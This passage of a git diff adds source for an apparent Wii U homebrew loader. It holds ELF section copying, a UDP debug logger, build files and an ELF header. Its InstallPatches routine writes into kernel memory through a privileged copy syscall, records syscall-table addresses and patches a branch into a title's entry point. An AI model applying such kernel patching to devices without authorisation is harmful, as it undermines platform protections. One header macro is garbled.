main_rodata_addr), main_rodata, main_rodata_len); + } + + // get the .data section + unsigned int main_data_addr = 0; + unsigned int main_data_len = 0; + section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); + if(section_offset > 0) + { + unsigned char *main_data = private_data->data_elf + section_offset; + /* Copy main data to memory */ + SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); + } + + // get the .bss section + unsigned int main_bss_addr = 0; + unsigned int main_bss_len = 0; + section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); + if(section_offset > 0) + { + unsigned char *main_bss = private_data->data_elf + section_offset; + /* Copy main data to memory */ + SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); + } +} + +/* ****************************************************************** */ +/* INSTALL PATCHES */ +/* All OS specific stuff is done here */ +/* ****************************************************************** */ +static void InstallPatches(private_data_t *private_data) +{ + OsSpecifics osSpecificFunctions; + private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); + + unsigned int bufferU32; + /* Pre-setup a few options to defined values */ + bufferU32 = VER; + SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); + bufferU32 = 0xDEADC0DE; + SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); + SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); + bufferU32 = 0; + SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); + /* Related to vwii elf choice */ + SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_LOW, (void*)0xF5E70000, 4); + SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_HIGH, (void*)0xF5E70004, 4); + + unsigned int jump_main_hook = 0; + osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; + osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; + + osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; + osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; + osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; + osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; + osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; + + osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; + osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; + osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk; + osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook; + osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; + osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized; + osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; + + //! pointer to main entry point of a title + osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; + + SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); + + //! at this point we dont need to check header and stuff as it is sure to be OK + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; + unsigned int mainEntryPoint = ehdr->e_entry; + + //! Install our entry point hook + unsigned int repl_addr = ADDRESS_main_entry_hook; + unsigned int jump_addr = mainEntryPoint & 0x03fffffc; + bufferU32 = 0x48000003 | jump_addr; + SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); + // flush caches and invalidate instruction cache + private_data->ICInvalidateRange((void*)(repl_addr), 4); +} diff --git a/dsrom/vwii_loader/logger.c b/dsrom/vwii_loader/logger.c new file mode 100644 index 0000000..7873ffd --- /dev/null +++ b/dsrom/vwii_loader/logger.c @@ -0,0 +1,74 @@ +#include +#include +#include +#include +#include +#include "common/common.h" +#include "dynamic_libs/socket_functions.h" +#include "logger.h" + +static int log_socket = 0; + + +void log_init(void) +{ + if(log_socket > 0) + return; + + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (log_socket < 0) + return; + + struct sockaddr_in connect_addr; + memset(&connect_addr, 0, sizeof(connect_addr)); + connect_addr.sin_family = AF_INET; + connect_addr.sin_port = 4405; + inet_aton("192.168.0.44", &connect_addr.sin_addr); + + if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) + { + socketclose(log_socket); + log_socket = -1; + } +} + +void log_print(const char *str) +{ + // socket is always 0 initially as it is in the BSS + if(log_socket <= 0) { + log_init(); + return; + } + + int len = strlen(str); + int ret; + while (len > 0) { + ret = send(log_socket, str, len, 0); + if(ret < 0) + return; + + len -= ret; + str += ret; + } +} + +void log_printf(const char *format, ...) +{ + if(log_socket <= 0) { + log_init(); + return; + } + + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + log_print(tmp); + } + va_end(va); + + if(tmp) + free(tmp); +} diff --git a/dsrom/vwii_loader/logger.h b/dsrom/vwii_loader/logger.h new file mode 100644 index 0000000..5f602fb --- /dev/null +++ b/dsrom/vwii_loader/logger.h @@ -0,0 +1,86 @@ +#ifndef __LOGGER_H_ +#define __LOGGER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Communication bytes with the server */ +// Com +#define BYTE_NORMAL 0xff +#define BYTE_SPECIAL 0xfe +#define BYTE_OK 0xfd +#define BYTE_PING 0xfc +#define BYTE_LOG_STR 0xfb +#define BYTE_DISCONNECT 0xfa + +// SD +#define BYTE_MOUNT_SD 0xe0 +#define BYTE_MOUNT_SD_OK 0xe1 +#define BYTE_MOUNT_SD_BAD 0xe2 + +// Replacement +#define BYTE_STAT 0x00 +#define BYTE_STAT_ASYNC 0x01 +#define BYTE_OPEN_FILE 0x02 +#define BYTE_OPEN_FILE_ASYNC 0x03 +#define BYTE_OPEN_DIR 0x04 +#define BYTE_OPEN_DIR_ASYNC 0x05 +#define BYTE_CHANGE_DIR 0x06 +#define BYTE_CHANGE_DIR_ASYNC 0x07 +#define BYTE_MAKE_DIR 0x08 +#define BYTE_MAKE_DIR_ASYNC 0x09 +#define BYTE_RENAME 0x0A +#define BYTE_RENAME_ASYNC 0x0B +#define BYTE_REMOVE 0x0C +#define BYTE_REMOVE_ASYNC 0x0D + +// Log +#define BYTE_CLOSE_FILE 0x40 +#define BYTE_CLOSE_FILE_ASYNC 0x41 +#define BYTE_CLOSE_DIR 0x42 +#define BYTE_CLOSE_DIR_ASYNC 0x43 +#define BYTE_FLUSH_FILE 0x44 +#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 +#define BYTE_GET_LAST_ERROR 0x46 +#define BYTE_GET_MOUNT_SOURCE 0x47 +#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 +#define BYTE_GET_POS_FILE 0x49 +#define BYTE_SET_POS_FILE 0x4A +#define BYTE_GET_STAT_FILE 0x4B +#define BYTE_EOF 0x4C +#define BYTE_READ_FILE 0x4D +#define BYTE_READ_FILE_ASYNC 0x4E +#define BYTE_READ_FILE_WITH_POS 0x4F +#define BYTE_READ_DIR 0x50 +#define BYTE_READ_DIR_ASYNC 0x51 +#define BYTE_GET_CWD 0x52 +#define BYTE_SET_STATE_CHG_NOTIF 0x53 +#define BYTE_TRUNCATE_FILE 0x54 +#define BYTE_WRITE_FILE 0x55 +#define BYTE_WRITE_FILE_WITH_POS 0x56 + +#define BYTE_SAVE_INIT 0x57 +#define BYTE_SAVE_SHUTDOWN 0x58 +#define BYTE_SAVE_INIT_SAVE_DIR 0x59 +#define BYTE_SAVE_FLUSH_QUOTA 0x5A +#define BYTE_SAVE_OPEN_DIR 0x5B +#define BYTE_SAVE_REMOVE 0x5C + +#define BYTE_CREATE_THREAD 0x60 + + +int logger_connect(int *socket); +void logger_disconnect(int socket); +void log_string(int sock, const char* str, char byte); +void log_byte(int sock, char byte); + +void log_init(void); +void log_print(const char *str); +void log_printf(const char *format, ...); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/dsrom/vwii_loader/os_defs.h b/dsrom/vwii_loader/os_defs.h new file mode 100644 index 0000000..b92c527 --- /dev/null +++ b/dsrom/vwii_loader/os_defs.h @@ -0,0 +1,40 @@ +#ifndef __OS_DEFS_H_ +#define __OS_DEFS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _OsSpecifics +{ + unsigned int addr_OSDynLoad_Acquire; + unsigned int addr_OSDynLoad_FindExport; + unsigned int addr_OSTitle_main_entry; + + unsigned int addr_KernSyscallTbl1; + unsigned int addr_KernSyscallTbl2; + unsigned int addr_KernSyscallTbl3; + unsigned int addr_KernSyscallTbl4; + unsigned int addr_KernSyscallTbl5; + + int (*LiWaitIopComplete)(int, int *); + int (*LiWaitIopCompleteWithInterrupts)(int, int *); + unsigned int addr_LiWaitOneChunk; + unsigned int addr_PrepareTitle_hook; + unsigned int addr_sgIsLoadingBuffer; + unsigned int addr_gDynloadInitialized; + unsigned int orig_LiWaitOneChunkInstr; +} OsSpecifics; + +typedef struct _s_mem_area +{ + unsigned int address; + unsigned int size; + struct _s_mem_area* next; +} s_mem_area; + +#ifdef __cplusplus +} +#endif + +#endif // __OS_DEFS_H_ diff --git a/dsrom/vwii_loader/sd_loader/Makefile b/dsrom/vwii_loader/sd_loader/Makefile new file mode 100644 index 0000000..1f8cf29 --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/Makefile @@ -0,0 +1,178 @@ +#--------------------------------------------------------------------------------- +# Clear the implicit built in rules +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- +ifeq ($(strip $(DEVKITPPC)),) +$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") +endif +export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) +export LIBOGC_INC := $(DEVKITPRO)/libogc/include +export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii +export PORTLIBS := $(DEVKITPRO)/portlibs/ppc + +PREFIX := powerpc-eabi- + +export AS := $(PREFIX)as +export CC := $(PREFIX)gcc +export CXX := $(PREFIX)g++ +export AR := $(PREFIX)ar +export OBJCOPY := $(PREFIX)objcopy + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# INCLUDES is a list of directories containing extra header files +#--------------------------------------------------------------------------------- +TARGET := sd_loader +BUILD := build +BUILD_DBG := $(TARGET)_dbg +SOURCES := src +DATA := +INCLUDES := + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ + -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +ASFLAGS := -mregnames +LDFLAGS := -nostartfiles -Wl,--gc-sections -Xlinker -Map=fuck.map + +Q := @ +MAKEFLAGS += --no-print-directory +#--------------------------------------------------------------------------------- +# any extra libraries we wish to link with the project +#--------------------------------------------------------------------------------- +LIBS := + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CURDIR) \ + $(DEVKITPPC)/lib \ + $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- +export PROJECTDIR := $(CURDIR) +export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) +export DEPSDIR := $(CURDIR)/$(BUILD) + +#--------------------------------------------------------------------------------- +# automatically build a list of object files for our project +#--------------------------------------------------------------------------------- +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) +TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) +PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) + export LD := $(CC) +else + export LD := $(CXX) +endif + +export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ + $(sFILES:.s=.o) $(SFILES:.S=.o) \ + $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) + +#--------------------------------------------------------------------------------- +# build a list of include paths +#--------------------------------------------------------------------------------- +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 + +#--------------------------------------------------------------------------------- +# build a list of library paths +#--------------------------------------------------------------------------------- +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib + +export OUTPUT := $(CURDIR)/$(TARGET) +.PHONY: $(BUILD) clean install + +#--------------------------------------------------------------------------------- +$(BUILD): + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).elf: $(OFILES) + +#--------------------------------------------------------------------------------- +# This rule links in binary data with the .jpg extension +#--------------------------------------------------------------------------------- +%.elf: link.ld $(OFILES) + @echo "linking ... $(TARGET).elf" + $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) + $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + +#--------------------------------------------------------------------------------- +%.a: +#--------------------------------------------------------------------------------- + @echo $(notdir $@) + @rm -f $@ + @$(AR) -rc $@ $^ + +#--------------------------------------------------------------------------------- +%.o: %.cpp + @echo $(notdir $<) + @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.c + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.S + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.png.o : %.png + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ttf.o : %.ttf + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- diff --git a/dsrom/vwii_loader/sd_loader/include/stdint.h b/dsrom/vwii_loader/sd_loader/include/stdint.h new file mode 100644 index 0000000..ee6bb73 --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/include/stdint.h @@ -0,0 +1,11 @@ +#ifndef _STDINT_WRAP_H +#define _STDINT_WRAP_H + +#include <../../powerpc-eabi/include/stdint.h> + +#define int32_t my_int32_t +#define uint32_t my_uint32_t +typedef signed int int32_t; +typedef unsigned int uint32_t; + +#endif \ No newline at end of file diff --git a/dsrom/vwii_loader/sd_loader/src/crt0.S b/dsrom/vwii_loader/sd_loader/src/crt0.S new file mode 100644 index 0000000..c803619 --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/src/crt0.S @@ -0,0 +1,20 @@ + + .extern _main + .globl _start + +_start: + mflr 0 + stwu 1,-0x18(1) + stw 0,0x1C(1) + stw 3,8(1) + stw 4,0xC(1) + # jump to our main + bl _main + # launch original title + mtctr 3 + lwz 3,8(1) + lwz 4,0xC(1) + lwz 0,0x1C(1) + mtlr 0 + addi 1,1,0x18 + bctr diff --git a/dsrom/vwii_loader/sd_loader/src/elf_abi.h b/dsrom/vwii_loader/sd_loader/src/elf_abi.h new file mode 100644 index 0000000..4d9c796 --- /dev/null +++ b/dsrom/vwii_loader/sd_loader/src/elf_abi.h @@ -0,0 +1,591 @@ +/* + * Copyright (c) 1995, 1996, 2001, 2002 + * Erik Theisen. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This is the ELF ABI header file + * formerly known as "elf_abi.h". + */ + +#ifndef _ELF_ABI_H +#define _ELF_ABI_H + +/* + * This version doesn't work for 64-bit ABIs - Erik. + */ + +/* + * These typedefs need to be handled better. + */ +typedef unsigned int Elf32_Addr; /* Unsigned program address */ +typedef unsigned int Elf32_Off; /* Unsigned file offset */ +typedef signed int Elf32_Sword; /* Signed large integer */ +typedef unsigned int Elf32_Word; /* Unsigned large integer */ +typedef unsigned short Elf32_Half; /* Unsigned medium integer */ + +/* e_ident[] identification indexes */ +#define EI_MAG0 0 /* file ID */ +#define EI_MAG1 1 /* file ID */ +#define EI_MAG2 2 /* file ID */ +#define EI_MAG3 3 /* file ID */ +#define EI_CLASS 4 /* file class */ +#define EI_DATA 5 /* data encoding */ +#define EI_VERSION 6 /* ELF header version */ +#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ +#define EI_ABIVERSION 8 /* ABI target version */ +#define EI_PAD 9 /* start of pad bytes */ +#define EI_NIDENT 16 /* Size of e_ident[] */ + +/* e_ident[] magic number */ +#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ +#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ +#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ +#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ +#define ELFMAG "\177ELF" /* magic */ +#define SELFMAG 4 /* size of magic */ + +/* e_ident[] file class */ +#define ELFCLASSNONE 0 /* invalid */ +#define ELFCLASsigned int 1 /* 32-bit objs */ +#define ELFCLASS64 2 /* 64-bit objs */ +#define ELFCLASSNUM 3 /* number of classes */ + +/* e_ident[] data encoding */ +#define ELFDATANONE 0 /* invalid */ +#define ELFDATA2LSB 1 /* Little-Endian */ +#define ELFDATA2MSB 2 /* Big-Endian */ +#define ELFDATANUM 3 /* number of data encode defines */ + +/* e_ident[] OS/ABI specific ELF extensions */ +#define ELFOSABI_NONE 0 /* No extension specified */ +#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ +#define ELFOSABI_NETBSD 2 /* NetBSD */ +#define ELFOSABI_LINUX 3 /* Linux */ +#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ +#define ELFOSABI_AIX 7 /* AIX */ +#define ELFOSABI_IRIX 8 /* IRIX */ +#define ELFOSABI_FREEBSD 9 /* FreeBSD */ +#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ +#define ELFOSABI_MODESTO 11 /* Novell Modesto */ +#define ELFOSABI_OPENBSD 12 /* OpenBSD */ +/* 64-255 Architecture-specific value range */ + +/* e_ident[] ABI Version */ +#define ELFABIVERSION 0 + +/* e_ident */ +#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ + (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ + (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ + (ehdr).e_ident[EI_MAG3] == ELFMAG3) + +/* ELF Header */ +typedef struct elfhdr{ + unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ + Elf32_Half e_type; /* object file type */ + Elf32_Half e_machine; /* machine */ + Elf32_Word e_version; /* object file version */ + Elf32_Addr e_entry; /* virtual entry point */ + Elf32_Off e_phoff; /* program header table offset */ + Elf32_Off e_shoff; /* section header table offset */ + Elf32_Word e_flags; /* processor-specific flags */ + Elf32_Half e_ehsize; /* ELF header size */ + Elf32_Half e_phentsize; /* program header entry size */ + Elf32_Half e_phnum; /* number of program header entries */ + Elf32_Half e_shentsize; /* section header entry size */ + Elf32_Half e_shnum; /* number of section header entries */ + Elf32_Half e_shstrndx; /* section header table's "section + header string table" entry offset */ +} Elf32_Ehdr; + +/* e_type */ +#define ET_NONE 0 /* No file type */ +#define ET_REL 1 /* relocatable file */ +#define ET_EXEC 2 /* executable file */ +#define ET_DYN 3 /* shared object file */ +#define ET_CORE 4 /* core file */ +#define ET_NUM 5 /* number of types */ +#define ET_LOOS 0xfe00 /* reserved range for operating */ +#define ET_HIOS 0xfeff /* system specific e_type */ +#define ET_LOPROC 0xff00 /* reserved range for processor */ +#define ET_HIPROC 0xffff /* specific e_type */ + +/* e_machine */ +#define EM_NONE 0 /* No Machine */ +#define EM_M32 1 /* AT&T WE 32100 */ +#define EM_SPARC 2 /* SPARC */ +#define EM_386 3 /* Intel 80386 */ +#define EM_68K 4 /* Motorola 68000 */ +#define EM_88K 5 /* Motorola 88000 */ +#if 0 +#define EM_486 6 /* RESERVED - was Intel 80486 */ +#endif +#define EM_860 7 /* Intel 80860 */ +#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ +#define EM_S370 9 /* IBM System/370 Processor */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ +#if 0 +#define EM_SPARC64 11 /* RESERVED - was SPARC v9 + 64-bit unoffical */ +#endif +/* RESERVED 11-14 for future use */ +#define EM_PARISC 15 /* HPPA */ +/* RESERVED 16 for future use */ +#define EM_VPP500 17 /* Fujitsu VPP500 */ +#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ +#define EM_960 19 /* Intel 80960 */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* 64-bit PowerPC */ +#define EM_S390 22 /* IBM System/390 Processor */ +/* RESERVED 23-35 for future use */ +#define EM_V800 36 /* NEC V800 */ +#define EM_FR20 37 /* Fujitsu FR20 */ +#define EM_RH32 38 /* TRW RH-32 */ +#define EM_RCE 39 /* Motorola RCE */ +#define EM_ARM 40 /* Advanced Risc Machines ARM */ +#define EM_ALPHA 41 /* Digital Alpha */ +#define EM_SH 42 /* Hitachi SH */ +#define EM_SPARCV9 43 /* SPARC Version 9 */ +#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ +#define EM_ARC 45 /* Argonaut RISC Core */ +#define EM_H8_300 46 /* Hitachi H8/300 */ +#define EM_H8_300H 47 /* Hitachi H8/300H */ +#define EM_H8S 48 /* Hitachi H8S */ +#define EM_H8_500 49 /* Hitachi H8/500 */ +#define EM_IA_64 50 /* Intel Merced */ +#define EM_MIPS_X 51 /* Stanford MIPS-X */ +#define EM_COLDFIRE 52 /* Motorola Coldfire */ +#define EM_68HC12 53 /* Motorola M68HC12 */ +#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ +#define EM_PCP 55 /* Siemens PCP */ +#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ +#define EM_NDR1 57 /* Denso NDR1 microprocessor */ +#define EM_STARCORE 58 /* Motorola Start*Core processor */ +#define EM_ME16 59 /* Toyota ME16 processor */ +#define EM_ST100 60 /* STMicroelectronic ST100 processor */ +#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_PDSP 63 /* Sony DSP Processor */ +/* RESERVED 64,65 for future use */ +#define EM_FX66 66 /* Siemens FX66 microcontroller */ +#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ +#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ +#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ +#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ +#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ +#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ +#define EM_SVX 73 /* Silicon Graphics SVx */ +#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ +#define EM_VAX 75 /* Digital VAX */ +#define EM_CHRIS 76 /* Axis Communications embedded proc. */ +#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ +#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ +#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ +#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ +#define EM_HUANY 81 /* Harvard University mach-indep objs */ +#define EM_PRISM 82 /* SiTera Prism */ +#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ +#define EM_FR30 84 /* Fujitsu FR30 */ +#define EM_D10V 85 /* Mitsubishi DV10V */ +#define EM_D30V 86 /* Mitsubishi DV30V */ +#define EM_V850 87 /* NEC v850 */ +#define EM_M32R 88 /* Mitsubishi M32R */ +#define EM_MN10300 89 /* Matsushita MN10200 */ +#define EM_MN10200 90 /* Matsushita MN10200 */ +#define EM_PJ 91 /* picoJava */ +#define EM_NUM 92 /* number of machine types */ + +/* Version */ +#define EV_NONE 0 /* Invalid */ +#define EV_CURRENT 1 /* Current */ +#define EV_NUM 2 /* number of versions */ + +/* Section Header */ +typedef struct { + Elf32_Word sh_name; /* name - index into section header + string table section */ + Elf32_Word sh_type; /* type */ + Elf32_Word sh_flags; /* flags */ + Elf32_Addr sh_addr; /* address */ + Elf32_Off sh_offset; /* file offset */ + Elf32_Word sh_size; /* section size */ + Elf32_Word sh_link; /* section header table index link */ + Elf32_Word sh_info; /* extra information */ + Elf32_Word sh_addralign; /* address alignment */ + Elf32_Word sh_entsize; /* section entry size */ +} Elf32_Shdr; + +/* Special Section Indexes */ +#define SHN_UNDEF 0 /* undefined */ +#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ +#define SHN_LOPROC 0xff00 /* reserved range for processor */ +#define SHN_HIPROC 0xff1f /* specific section indexes */ +#define SHN_LOOS 0xff20 /* reserved range for operating */ +#define SHN_HIOS 0xff3f /* specific semantics */ +#define SHN_ABS 0xfff1 /* absolute value */ +#define SHN_COMMON 0xfff2 /* common symbol */ +#define SHN_XINDEX 0xffff /* Index is an extra table */ +#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ + +/* sh_type */ +#define SHT_NULL 0 /* inactive */ +#define SHT_PROGBITS 1 /* program defined information */ +#define SHT_SYMTAB 2 /* symbol table section */ +#define SHT_STRTAB 3 /* string table section */ +#define SHT_RELA 4 /* relocation section with addends*/ +#define SHT_HASH 5 /* symbol hash table section */ +#define SHT_DYNAMIC 6 /* dynamic section */ +#define SHT_NOTE 7 /* note section */ +#define SHT_NOBITS 8 /* no space section */ +#define SHT_REL 9 /* relation section without addends */ +#define SHT_SHLIB 10 /* reserved - purpose unknown */ +#define SHT_DYNSYM 11 /* dynamic symbol table section */ +#define SHT_INIT_ARRAY 14 /* Array of constructors */ +#define SHT_FINI_ARRAY 15 /* Array of destructors */ +#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ +#define SHT_GROUP 17 /* Section group */ +#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ +#define SHT_NUM 19 /* number of section types */ +#define 